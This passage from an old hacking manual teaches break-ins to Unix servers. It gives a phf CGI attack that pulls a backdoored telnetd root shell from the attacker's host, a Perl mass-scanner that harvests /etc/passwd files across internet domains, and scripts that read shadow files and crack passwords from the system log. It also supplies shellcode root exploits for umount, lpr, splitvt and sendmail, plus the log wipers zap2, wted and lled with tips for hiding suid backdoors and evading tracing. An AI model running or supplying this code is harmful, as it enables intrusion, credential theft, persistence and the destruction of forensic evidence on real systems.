/etc/hosts.equiv. Then you need to make sure you have a "shell" line in your /etc/inetd.conf and that you have restarted inetd to read this line. Finally you need to create a .rhosts file in the test's homedir that has the name of the host you're hacking followed by the username that httpd is running as. /etc/hosts.equiv: www.host.to.hack /etc/inetd.conf: shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L ~test/.rhosts: www.host.to.hack nobody ok.. so once you have all that set up you can get things onto the remote host. What I used to do was transfer little hacks across that had been heavily modified to work whilst being executed by phf. It was not a pleasant affair, nor very effective. Now we have a solution. What we send across is a modified in.telnetd. It has been modified to start up in "debug" mode which makes it bind to a port (9999) and execute /bin/sh instead of /bin/login. It also forks before executing the shell which means it will sit on port 9999 and accept as many connections as you want. So, to get this onto the remote host, all we have to do is put it in test's homedir (make sure it's readable) and do: phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack in your local logs you will see a connection attempt to in.rshd and the command it executes (something like 'rcp -f bindwarez').. after the phf finishes bindwarez will be in the /tmp on the remote machine. You can now execute it and telnet to port 9999. If the web site was stupid enough to be running httpd as root you will now want to secure it by installing an in.telnetd trojan and cleaning up the logs. However, more likely, you will only have a nobody shell and have to hack root with some other sploit. I usually find this no problem because the admin has taken it as granted that no-one will ever have a shell on their www box and thus there's no need to secure it - which they're obviously not very good at if they still have sploitable phf. I cant stress the importance of cleaning out the logs tho. Your address, the one in the rcp command you sent, is right there for the admin to see. They dont even have to dig. These logs are usually in /usr/local/etc/httpd/logs and sometimes in /var/lib/httpd/logs. The best way to find it is to try these locations and then, if you still don't find it, do: find / -name cgi-bin. That'll do it. Also don't forget to kill the bindwarez processes and remove the /tmp/bindwarez. This is a really kewl attack.. it solves a lot of problems which makes phf so annoying. L8s QuantumG Another way to use phf would be to use the perl script a few scripts above called getdomain.pl to rip host names out of the domain files on rs.internic.net, after this is done you can 'probe' every domain on the net using geturl.pl. Here is the script: geturl.pl --------- cut here #!/usr/bin/perl -w # # geturl by Nfin8 / Invisible Evil # Questions to: /msg i-e or /msg i^e # # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd # IF result of first command returns an "id=" then check for user. If user # is not root then execute the 2nd form. # Assign null list to @URLs which will be added to later. my(@URLs)=(); my($program) = "lynx -dump"; # Pull off filename from commandline. If it isn't defined, then assign default. my($URLfilename) = shift; $URLfilename = "urls" if !defined($URLfilename); # Do checking on input. die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename); # Open and read contents of URL file into @URL by line. open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n"); @URLs = <FILE>; close(FILE); # Open output file. open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n"); my($url)=""; foreach $url (@URLs) { print ("Now checking: $url"); chomp($url); $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`; print OUTFILE ("\n============ $url ============\n"); foreach (split(/\n/, $result)) { print OUTFILE ("$_\n"); } if ($result =~ m/id=/i) { if ($result =~ m/root/i) { print ("Logging root response.\n"); } else { print ("Got ID response, getting /etc/passwd..."); $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`; # Output results to file named <domain>.passwd; local($domainfilename)=""; $domainfilename = $url; if (open(PASSWDFILE, ">${domainfilename}.passwd")) { print PASSWDFILE ("\n"); foreach (split(/\n/, $result)) { print PASSWDFILE ("$_\n"); } close(PASSWDFILE); print ("Done! [$domainfilename].\n"); } else { print ("FAILED! [$domainfilename].\n"); } } } } # We are done. Close the output file and end the program. close (OUTFILE); 0; ------------- cut here Ok this is easy, if you name your domain file urls, you are all set to go. Just type geturl.pl after chmod +x on the file. Here are my doc's for the file: This handy tool is easy to use and will get you some root access and many passwd files from different domains. geturl.pl will try and log results for every domain on the internet. You choose the type: .COM .EDU .ORG .MIL .GOV (OR) you can supply a list of IP addresses to be checked. If finds a root access account it will simply log uid=root in the result file and go on to the next domain. If PHF Probe finds non-root access it will snag the passwd file for you and save it in the current directory in the (domainname.???.passwd) format. Here are the short doc's and how it works. Any questions /msg i-e or i^e ftp to ftp.rs.internic.net in the domain directory you will find: com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz download these files and run getdomain.pl on the domains you want to target first, in this manor: "perl getdomain.pl com.zone com >com.all" What this will do is rip all of the .COM domains and put them into a file called com.all. If you wanted to do all of the .EDU addresses you would type: perl getdomain.pl edu.zone edu >edu.all Now you will have a list to use with (geturl.pl) called edu.all To use this list just type: geturl.pl <filename> filename=edu.all or com.all and leave out the <>'s if you name your domain file 'urls' it does not require <filename> results will log into a file name of: GetURLResults in the current directory. 1. geturl.pl will search using lynx (make sure it is in your path) 2. if geturl finds it has root access to httpd on a url it will just log root for that domain in the result file. If geturl finds it is not root, but still has access to the domain using phf it will snatch the domain passwd file and save it in the current directory under fulldomainname.passwd 3. if you like you can just give a list of ip addresses in the feed file 4. i use os/2 with lynx and perl ported to the hpfs so i have no problems with the long file names. i have tested it under unix and it works good so you should have no problems running this in a unix shell. What you need: 1. Perl in the path 2. Lynx in the path 3. 256 char filenames ie: (unix or os/2 hpfs) 4. The files included here 5. Internic's domain files from their ftp or just make your own list or urls or IP's and name the file 'urls' and type: geturl.pl Caution: It would be best if you paid cash for an internet account in your area under another name or used a hacked account to get all of your results, then used another safe account to start your work on the results. BUT I don't need to tell you this right? I take no blame for these files, they are provided for you to use to check security on domains ;) getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files geturl.pl: to check and log the results of each domain GetURLResults: The file that geturl makes as its log file Here is one more thought: If you can read the /var/adm/messages file you can get some user passwords out of there lotz of times! I have even got ROOT passwords from there! Wow many times have you been in a hurry to login? You type the password at the Login: his is easy to do on one of those days that nothing seems to be going right. You failed the login twice, the system is running slow, and it just happens! Login: you hit enter Password: you think this is wanting the login name so you type your name Login: you type your password In the messages file it looks like this: Login: yourpassword Password ****** They don't give it, only the login name, but ooops, you typed your password, and if we have access to read the messages file, we have a good password to put in crackerjack and run it. If on a small system, no prob ... lets hope it's root ;) Here is a script to make things easy! FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper in the appendix uuencoded. ------------ cut here #!/bin/sh # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0) # /var/log/messages is world readable. If a user types in his password at # the login prompt, it may get logged to /var/log/messages. # # I could swear this topic has been beaten to death, but I still see this # problem on every linux box I have access to. # # Dave G. # 12/06/96 # <daveg@escape.com> # http://www.escape.com/~daveg echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$ grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$ if [ ! -e ./scrack ] then echo "Creating scrack.c" cat << ! > scrack.c #include <stdio.h> #include <unistd.h> #include <pwd.h> #include <sys/types.h> #define get_salt( d, s ) strncpy( d, s, 2 ) void main(argc,argv) int argc; char **argv; { struct passwd *pwd; FILE *fp; char buff[80], salt[3], *encrypted_string; if ( ( fp = fopen( argv[1], "r" ) ) == NULL ) { fprintf( stderr, "Couldnt find dict file\n" ); exit(1); } while ( fgets( buff, 80, fp ) != NULL ) { setpwent(); buff[strlen(buff)-1]='\0'; while ( ( pwd = getpwent() ) != NULL ) { if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 && ( strlen( (*pwd).pw_passwd ) == 13 ) ) { get_salt(salt, (*pwd).pw_passwd ); encrypted_string = crypt( buff, salt ); if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 ) { fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff); fflush(stdout); } } } } } ! echo "Creating scrack" cc -O6 -fomit-frame-pointer -s -o scrack scrack.c fi ./scrack /tmp/messages.dict.$$ echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself. ------ cut here ----------------------- Section 3B Newbe's ----------------------- Yup, again, just another place to get password files. Just follow the guide lines in section 2B. Use your sly ideas and get out there and make some lame friends ;) Remember you could have been a lammer before you read this manual <G>rin ----------------------------- Section 3C Getting shadow passwd files ----------------------------- What is a shadow password file? Lets just use the passwd file above to show you what it would look like to you if you cat it. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: man:x:13:15:man:/usr/man: postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash nobody:x:-2:100:nobody:/dev/null: ftp:x:404:1::/home/ftp:/bin/bash guest:x:405:100:guest:/dev/null:/dev/null bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash web:x:502:100:Web Master:/home/web:/bin/bash mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash Something missing? Yup, the encrypted passwords. If you get root access the encrypted passwords are in /etc/shadow. Some admin's will hide the shadow file in some weird directory somewhere, but most of the time you will find it right in /etc. Other shadow programs might put it in a master.passwd file. But if you get root just have a good look around. Lets say you have an account on the machine and just can't get root access. Not a problem if they are using libc 5.4.7, at this time most still are ;) Also one of these files have to have suid perm's (no prob): ping, traceroute, rlogin, or, ssh 1. Type bash or sh to start a bash shell 2. Type: export RESOLV_HOST_CONF=/etc/shadow 3. Type one of the file names above with asdf, like this: ping asdf It should cat the passwd shadow file for you if it works. I seem to find it working on most of the systems i am going on these days. Note: you can replace /etc/shadow with any root owned file you want to read. Here is a quick script you can run on any file you want to make it easy: rcb.c -------- cut here /* RCB Phraser - therapy in '96 * Limits: Linux only, no binary files. * little personal message to the world: FUCK CENSORSHIP! */ #include <stdio.h> void getjunk(const char *filetocat) { setenv("RESOLV_HOST_CONF",filetocat,1); system("ping xy 1> /dev/null 2> phrasing"); unsetenv("RESOLV_HOST_CONF"); } void main(argc,argv) int argc; char **argv; { char buffer[200]; char *gag; FILE *devel; if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help"))) { printf("RCB Phraser - junked by THERAPY\n\n"); printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]); exit(1); } getjunk(argv[1]); gag=buffer; gag+=10; devel=fopen("phrasing","rb"); while(!feof(devel)) { fgets(buffer,sizeof(buffer),devel); if(strlen(buffer)>24) { strcpy(buffer+strlen(buffer)-24,"\n"); fputs(gag,stdout); } } fclose(devel); remove("phrasing"); } -------------- cut here command line : rcb /etc/shadow or any other file on the system you can't read ;) -------------------- Section 3D Getting /etc/hosts -------------------- Just a precaution, sometimes you will need to know what other systems are in the hosts file, or what are all of the ip addresses or different domains on the system. Make sure to cat the /etc/hosts file for more information you might need later. -------------------------- Chapter IV Getting the root account -------------------------- Like I said before all you need is one account in most cases, if you cannot get root on the system you might want to trade it off to some irc junkie that just wants to load a bot, for some other account or info that can help you in your hacking quest. There will be enough information here so that if you can't get root access, their system is well kept and probably will be kept up in the future. You can always lay the account on the side, put the info in some kind of log file with some good notes so that you can come back at a later time, like right when a new exploit comes out ;) Try to stay out of the system until that time so that you do not risk loosing the account. Remember that when you login to an account and can't get root you will not be able to clean the logs, and the next time the user logs in he might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx ------------ Section 4A Bugs ------------ There are many bugs out there in different programs that you can use to get root. It might be a game installed on the system, or even the sendmail program. If they do not update their programs on a regular basis, you can be sure you will be able to get in now, and if not, soon to come. I will be sure to provide the main exploits and bugs here and other less used below in the appendix section. I will make sure here to give you detailed english terms so that you can exploit root on the system. But please be sure to read the sections below, and this manual entirely before proceeding, to be sure you get started in the right way and not blow you chances of having a long stay on the system. ------------ Section 4B Exploits ------------ umount/mount exploit Look in the /bin directory for a file called umount (or mount), if you do not find it there do a search for the file like this: find / -name umount -print -xdev (you can look for any other file name the same way) Go to the directory where the file is and do: ls -al um* If the file has suid perm's you can probably get root. SUID perm's has the rws for the owner of the file which is root. What you are looking for is the (s) Look here: victim:/bin# ls -al um* -rwsr-sr-x 1 root 8888 Mar 21 1995 umount victim:/bin# This machine we can get root by a compile on the file below: umount.c ------ cut here /* sno.c : Linux realpath exploit * Syntax: ./sno N * mount $WOOT * OR umount $WOOT * N is some number which seems to differ between 4 & 8, if your number is * too big, you will get a mount error, if it is too small, it will seg * fault. Figure it out. (Sometimes N=0 for mount) * If you use mount, first thing to do once you get the root shell is rm * /etc/mtab~, if this file exists you can't root with mount until it is * removed. * * * -ReDragon */ #define SIZE 1024 long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */ int a,r; char *ptr; long *addr_ptr; char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *exec_ptr = execshell; r=atoi(argv[1]); ptr = env; memcpy(ptr,"WOOT=",5); /* set environment variable to use */ ptr += 5; for(a=0;a<SIZE+4-strlen(execshell)-r;a++) /* pad front with NOPs */ *(ptr++) = 0x90; while (*exec_ptr) *(ptr++) = *(exec_ptr++); addr_ptr = (long *)ptr; *(addr_ptr++) = get_esp()+1139; /* 0xbffffc01 */ ptr = (char *) addr_ptr; *ptr = 0; /* must end with null byte to terminate string */ putenv(env); system("/bin/mount $WOOT"); } ----------- cut here ********************************** To compile the file on the victims machine type gcc umount.c (or what ever name you called it) -o um This will make a file called um that you can exec. Sometimes you will need to put a ./ in front of the file like this: ./um With this exploit you might also have to give it a number like: ./um 0 (or) ./um 4 ....alltheway up to 8... like this again ./um 8 ************************************* If you fail here you might want to try lpr. Look in the /usr/bin for lpr and see if it is SUID, if it is lpr should work if it is up on the system. ls -l lpr Ok it had suid perm's? Use this script ************************************* lpr.linux.c ------------- cut here #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } ---------- cut here *************************** Here is the BSD version *************************** lpr.bsd.c --------------------------------------------------------- cut here #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } --------- cut here Now just compile it and chmod it +x, and run it. Watch this one on the group file owner. Any file you copy will have group owner as lp, make sure you chgrp root filename on any file you write. Always be watching the user groups with ls -l and if you changed any change them back like this: chgrp groupname filename It is a good idea to use this exploit ONLY to get the root access, then just copy bash or sh to another file name on the system somewhere and make it root root, suid: Group owner and File owner root, then chmod it +s This will give you root access in the future as gid and uid root, without using the lp group. Make sure you name it something that looks like it should be running as a root process somewhere ;) ***************** Here is another that is still around after a while, look for SUID perm's on a file /usr/bin/splitvt If it has suid perm's use this file below, but be sure to read the directions after the exploit: **************************************** sp.c -------------------------------------------- cut here /* * Avalon Security Research * Release 1.3 * (splitvt) * * Affected Program: splitvt(1) * * Affected Operating Systems: Linux 2-3.X * * Exploitation Result: Local users can obtain superuser privileges. * * Bug Synopsis: A stack overflow exists via user defined unbounds checked * user supplied data sent to a sprintf(). * * Syntax: * crimson~$ cc -o sp sp.c * crimson~$ sp * bash$ sp * bash$ splitvt * bash# whoami * root * * Credit: Full credit for this bug (both the research and the code) * goes to Dave G. & Vic M. Any questions should be directed to * mcpheea@cadvision.com . * * ---------------------------------------------------------------------------- */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } -------------- cut here Ok this is how splitvt works: 1. Compile the file 2. Run the sp file 3. Run splitvt Before you run the file: whoami {press enter} username After you run the exploit: whoami root ******************************************************* Now if all of these have not got you root, try sm.sh. This is a sendmail bug that works with 8.73 to 8.83 (maybe some others) Here is the script: sm.sh ---------- cut here echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd cd /tmp sh ------------ cut here Just chmod the file +x like this chmod +x sm.sh 1. Run the file 2. It will take you to the /tmp directory 3. type ls -l and see if you have a SUID sh file there, if you do, type whoami, if not root, run the file ./sh, now see if you are root ;) I will add many more scripts in the appendix, but these should be the best at this time to get root access on linux or BSD, if you need another BSD exploit try the crontab exploit for BSD in the appendix. **************************************************************************** -------------------------- Chapter V Making yourself invisible -------------------------- The whole point of this hacking stuff is that you continue to have access to as many points of information as possible. If you do stupid things, of fail just once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the system. Make yourself a regular order to follow and learn each system well! Become part of the system, and take many notes if you are doing many systems at once. But remember make yourself a routine. Have your set routine of taking your time to clean any presence of your login, transfers, etc. Do NOT fail in this one thing or you will loose access and possibly face some sort of charges. ---------------------------- Section 5A Zap2 (for wtmp/lastlog/utmp) ---------------------------- There are different log cleaning programs out there, but the best of these is zap2. I compile mine to be named z2. z2 will be run right after you get root access. This will want to be one of the fastest things you run. (you never know) You might want to do a finger @host.xxx to see who is on now, look at the idle time of root or admin accounts to see if they are away doing something. Login, and as soon as you get on, type w, to see idle time and who is on, but at the same time you are looking at that be typing your root access command that you should have waiting somewhere nested in the system. As soon as you get your root access, type ./z2 username-u-logged-in-as Now you are safer then you were. Do a w or who command to see that you are gone from the utmp. If you ftp, or do other things you might have to use other programs I will include in the next section called wted and lled. Lets finish with this z2 first. You will have to see where each file is in the system and edit z2.c to include the right location of these files Here is the area you will look for right at the top of the file: #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" Most of the systems I login to are: #define WTMP_NAME "/var/adm/wtmp" #define UTMP_NAME "/var/adm/utmp" #define LASTLOG_NAME "/var/adm/lastlog" But you do your own look around to see were the files are. Also /var/log: is a regular location. Add the log locations for each system, compile the file, and you are all ready to be invisible right after the login using z2 Here is the .c file z2.c --------------------------- cut here #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------- cut here --------------- Section 5B Other scripts --------------- Now we come to the other part of this. Lets say that after you login, and do your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out) Ok, you ftp in and grab a few files, or login to another account on the system, now you will need to use wted. wted will let you edit the wtmp to remove your login from the ftp. You also might need to use the lled (lastlog edit). Here is the menu if you type ./wted, after setting log locations & compile: [8:25pm][/home/compile]wted Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely So if i ftp to username tsmith I would type wted -x -e tsmith The program will now prompt you one login at a time for the user tsmith asking if you want to delete it. After you delete your login, make sure to chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in the log directory. Like this: 1. chmod 644 wtmp.tmp 2. cp wtmp.tmp /var/adm/wtmp Here is your wted program: MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below So make sure you have the right path to the wtmp file. wted.c ---------------------- cut here #include <stdio.h> #include <utmp.h> #include <time.h> #include <fcntl.h> char *file="/var/adm/wtmp"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1],0); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct utmp utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ut_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct utmp *ptr; { char tmpstr[256]; printf("%s\t",ptr->ut_name); printf("%s\t",ptr->ut_line); strcpy(tmpstr,ctime(&(ptr->ut_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ut_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (host) if (strstr(utmp.ut_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct utmp));} if (name) { if (strcmp(utmp.ut_name,name)) {cnt++; write(fd,&utmp,sizeof(struct utmp));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct utmp));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct utmp)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct utmp)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (utmp.ut_time) { cnt++; write(fd,&utmp,sizeof(struct utmp)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } usage() { printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------- cut here You might also have to clean stuff out of the file /vat/adm/lastlog For this use the lled.c. Compile the program and name it lled. Here is a menu from the program when you type ./lled [4:04am][/home/paris/compile]lled Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely It would be good to try to view first using -u, but many times it will not show your username in the lastlog, but it will still have your host, so I have found that if you know what to look for you can just type something like: If my host name that I was coming from was machine.edit.com, I could type lled -e username -c machine.edit If you need to view the lastlog your host entry should be at the end of the file, just type: lled -a chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog file in the log directory just like you did above for the wted. BE SURE TO SET THE PATH FOR YOUR lastlog below! Ok here is your lled.c -------------------------- cut here #include <stdio.h> #include <time.h> #include <lastlog.h> #include <fcntl.h> char *file="/var/adm/lastlog"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1]); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct lastlog utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ll_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct lastlog *ptr; { char tmpstr[256]; printf("%s\t",ptr->ll_line); strcpy(tmpstr,ctime(&(ptr->ll_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ll_host); } erase(name,host) char *name,*host; { int 